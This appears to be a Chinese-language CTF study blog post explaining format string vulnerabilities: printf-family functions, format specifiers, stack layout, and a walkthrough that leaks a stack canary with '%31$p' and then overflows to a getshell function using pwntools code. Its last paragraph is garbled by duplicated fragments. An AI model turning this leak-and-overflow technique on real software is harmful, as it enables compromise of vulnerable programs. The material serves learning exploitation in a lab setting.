文章目录
- Format String
- 格式化字符串函数
- 格式化字符串
- 参数
- 原理
这几天学的少,过完年就一直在走亲戚(现在看到肉就犯恶心
Format String
格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。一般来说,格式化字符串在利用的时候主要分为三个部分
- 格式化字符串函数
- 格式化字符串
- 后续参数,可选
格式化字符串函数
- 输入
- scanf
- 输出
函数 | 基本介绍 |
---|---|
printf | 输出到 stdout |
fprintf | 输出到指定 FILE 流 |
vprintf | 根据参数列表格式化输出到 stdout |
vfprintf | 根据参数列表格式化输出到指定 FILE 流 |
sprintf | 输出到字符串 |
snprintf | 输出指定字节数到字符串 |
vsprintf | 根据参数列表格式化输出到字符串 |
vsnprintf | 根据参数列表格式化输出指定字节到字符串 |
setproctitle | 设置 argv |
syslog | 输出日志 |
err, verr, warn, vwarn 等 | 。。。 |
格式化字符串
基本格式如下
%[parameter][flags][field width][.precision][length]type
每一种 pattern 的含义请具体参考维基百科的格式化字符串 。以下几个 pattern 中的对应选择需要重点关注
- parameter
- n$,获取格式化字符串中的指定参数
- flag
- field width
- 输出的最小宽度
- precision
- 输出的最大长度
- length,输出的长度
- hh,输出一个字节
- h,输出一个双字节
- type
- d/i,有符号整数
- u,无符号整数
- x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
- o,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
- s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
- c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
- p, void * 型,输出对应变量的值。printf(“%p”,a) 用地址的格式打印变量 a 的值,printf(“%p”, &a) 打印变量 a 所在的地址。
- n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
- %, '
%
'字面值,不接受任何 flags, width。
参数
就是相应的要输出的变量。
原理
在进入 printf 函数的之前 (即还没有调用 printf),栈上的布局由高地址到低地址依次如下
some value
3.14
123456
addr of "red"
addr of format string: Color %s...
注:这里我们假设 3.14 上面的值为某个未知的值。
在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况
- 当前字符不是 %,直接输出到相应标准输出。
- 当前字符是 %, 继续读取下一个字符
- 如果没有字符,报错
- 如果下一个字符是 %, 输出 %
- 否则根据相应的字符,获取相应的参数,对其进行解析并输出
那么假设,此时我们在编写程序时候,写成了下面的样子
printf("Color %s, Number %d, Float %4.2f");
此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为
- 解析其地址对应的字符串
- 解析其内容对应的整形值
- 解析其内容对应的浮点值
对于 2,3 来说倒还无妨,但是对于对于 1 来说,如果提供了一个不可访问地址,比如 0,那么程序就会因此而崩溃。
这基本就是格式化字符串漏洞的基本原理了。
简单看一道题
只开了 canary 保护的 64 位程序,ida 打开 elf 文件
还给了一个 getshell 函数
很明显先利用格式化字符串泄露 canary,然后再栈溢出到后门函数。
动态调试一下
这个地方有异或操作,而且之后就跳转回 main 函数,所以 [rbp-0x8] 应该就是栈中存放 canary 的地址
在 printf 处下一个断点然后运行程序,输入 aaa ,查看 [rbp-0x8]
再看一下缓冲区到canary 多少字节
相差 25 个字节
看一下栈中结构
canary 到 返回地址相差一个字节
leak = "%31$p"
io.sendline(leak)
canary = int(io.recv(18)[2:],16)
print(canary)payload = b'a'*25*8 + p64(canary)
payload += b'a'*1*8
payload += p64(elf.symbols['getshell'])
io.sendline(payload)
%31 p , 64 位程序先是 6 个寄存器 r d i , r s i , r d x , r c x , r 8 , r 9. 然后才是存放在栈帧中, n p,64 位程序先是 6 个 寄存器 rdi,rsi,rdx,rcx,r8,r9.然后才是存放在栈帧中,n p,64位程序先是6个寄存器rdi,rsi,rdx,rcx,r8,r9.然后才是存放在栈帧中,n -> 获取格式化字符串中的指定参数. 31 = 6 + 25 。这样就能泄露栈上第 25 个字节处的值 也就是这道题的 canary。